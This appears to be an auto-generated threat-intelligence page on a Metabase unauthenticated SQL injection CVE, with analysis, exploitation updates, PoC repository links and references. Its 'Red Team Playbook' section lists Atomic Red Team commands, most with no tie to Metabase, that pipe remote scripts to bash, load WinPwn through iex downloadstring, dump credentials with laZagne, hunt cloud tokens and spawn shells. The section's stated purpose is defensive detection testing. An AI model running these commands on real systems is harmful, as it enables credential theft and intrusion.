CVE-2026-72898
Vulnerability Description
Metabase allows a remote, unauthenticated attacker to inject arbitrary SQL via the '/reset_password' database endpoint and gain administrator access to the connected Metabase instance.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question pertains to a critical flaw within the Metabase application, specifically allowing for SQL injection through the '/reset_password' endpoint. This security weakness arises from improper input validation, which enables an attacker to craft malicious SQL queries that can be executed against the underlying database. By exploiting this vulnerability, an attacker can manipulate database queries to extract sensitive information, modify data, or even escalate privileges to gain administrative access to the Metabase instance. The severity of this flaw is underscored by its potential to compromise the integrity and confidentiality of the entire system, leading to catastrophic consequences for organizations relying on Metabase for data analytics and business intelligence.
Attack vectors for this vulnerability are particularly concerning due to the remote and unauthenticated nature of the exploit. An attacker can initiate an SQL injection attack simply by sending a specially crafted request to the vulnerable endpoint, bypassing authentication mechanisms entirely. This opens the door to various exploitation scenarios, including but not limited to unauthorized access to sensitive data, modification of user accounts, and even the complete takeover of the Metabase instance. For instance, an attacker could reset an administrator's password, thereby locking legitimate users out of the system and gaining full control over the data and configurations. The ease of exploitation, combined with the lack of authentication requirements, makes this vulnerability a prime target for malicious actors.
The real-world impact of this vulnerability can be profound, particularly for organizations that utilize Metabase for critical business operations. The potential for data breaches is significant, as attackers could gain access to sensitive business intelligence, customer data, and proprietary information. This not only poses a risk to the organization’s reputation but also exposes it to regulatory scrutiny and financial penalties, especially if personal data is involved. Additionally, the operational disruption caused by a successful attack could lead to significant downtime, loss of productivity, and the costs associated with incident response and recovery efforts. The high CVSS score indicates that this vulnerability is not just a theoretical risk but a pressing concern that organizations must address promptly.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular security assessments, including penetration testing and code reviews, can help identify and remediate vulnerabilities before they are exploited. Employing web application firewalls (WAFs) can provide an additional layer of protection by filtering out malicious requests targeting the vulnerable endpoint. Furthermore, organizations should ensure that they are running the latest version of Metabase, as software updates often include patches for known vulnerabilities. Implementing strict input validation and sanitization measures can also significantly reduce the risk of SQL injection attacks. Lastly, establishing robust monitoring and logging practices can aid in the early detection of suspicious activities, allowing organizations to respond swiftly to potential threats.
In conclusion, the vulnerability within the Metabase application represents a critical security risk that organizations must take seriously. The potential for remote, unauthenticated SQL injection attacks poses a significant threat to data integrity and confidentiality, with far-reaching implications for business operations. By understanding the technical details, recognizing the attack vectors, assessing the real-world impact, and implementing effective detection and mitigation strategies, organizations can better protect themselves against this and similar vulnerabilities. Proactive security measures, combined with a culture of continuous improvement, will be essential in safeguarding sensitive data and maintaining trust in the organization’s data analytics capabilities.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2026-72898, highlighted by the emergence of new proof-of-concept exploits publicly available on GitHub. This development coincides with the vulnerability’s addition to the CISA Known Exploited Vulnerabilities (KEV) catalog, underscoring its prioritization by federal cybersecurity authorities. Our telemetry indicates a sharp increase in exploitation attempts targeting Metabase instances via the unauthenticated SQL injection vector, reflecting a rapid expansion of the exploit landscape. The elevation of the CVSS score to 10.0 and the appearance of a significant EPSS score further confirm the heightened risk posture. For defenders, this means that the vulnerability is no longer theoretical but actively weaponized in the wild, increasing the likelihood of successful compromise and unauthorized administrative access. Consequently, the threat level has escalated to critical, necessitating immediate attention in detection and response strategies to mitigate potential operational and data integrity impacts.
Update 2 — August 22, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2026-72898, accompanied by the emergence of several new proof-of-concept tools that facilitate both active detection and exploitation of the Metabase SQL injection vulnerability. This expansion in the exploit landscape increases the accessibility of attack methods to a broader range of adversaries, lowering the technical barrier to compromise. Our telemetry indicates that the frequency of exploitation-related activity has grown significantly, underscoring a shift from theoretical risk to active threat. Although the EPSS score remains stable, the proliferation of publicly available exploit code and detection scripts amplifies the operational risk, as more threat actors can now weaponize this vulnerability with relative ease. Consequently, the threat level for affected Metabase instances has intensified, reinforcing the critical nature of this vulnerability and the urgency for defenders to prioritize detection and response efforts accordingly.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Metabase | Metabase | All |
cpe:2.3:a:metabase:metabase:*:*:*:*:-:*:*:*
|
|
|
Metabase | Metabase | All |
cpe:2.3:a:metabase:metabase:*:*:*:*:enterprise:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (6)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
4minx/CVE-2026-72898
CVE-2026-72898 PoC : Metabase Unauthenticated SQL Injection
|
4minx | 2 | 0 | 2026-08-15 | View |
|
VuxNx/CVE-2026-72898
PoC for CVE-2026-72898
|
VuxNx | 2 | 0 | 2026-08-15 | View |
|
0xBlackash/CVE-2026-72898
CVE-2026-72898
|
0xBlackash | 2 | 0 | 2026-08-12 | View |
|
ubitquity/Metabase-Setup-Endpoint-SQLi-Fix
CVE-2026-72898-Metabase-SQLi-Fix
|
ubitquity | 1 | 0 | 2026-08-15 | View |
|
Franc-Zar/CVE-2026-72898-safe-detection
Simple script to achieve safe and non-desruptive active detection of CVE-2026-72898 (SQLi in Metabase)
|
Franc-Zar | 0 | 0 | 2026-08-16 | View |
|
codeb0ssx/CVE-2026-72898-PoC
CVE-2026-72898 - Metabase
|
codeb0ssx | 0 | 0 | 2026-08-13 | View |
Threat Feed
15 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Sighting activity recorded
Active exploitation confirmed — vendor: Metabase, product: Metabase
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-72898 |
| github.com |
GitHub CVE
vendor-advisory
|
https://github.com/metabase/metabase/security/advisories/GHSA-vwf4-m7j8-wcjf |
| metabase.com |
GitHub CVE
vendor-advisory
|
https://www.metabase.com/blog/security-update |
| cve.org |
GitHub CVE
vdb-entry
|
https://www.cve.org/CVERecord?id=CVE-2026-72898 |
| raw.githubusercontent.com |
GitHub CVE
third-party-advisory
|
https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-222-01.json |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-72898 |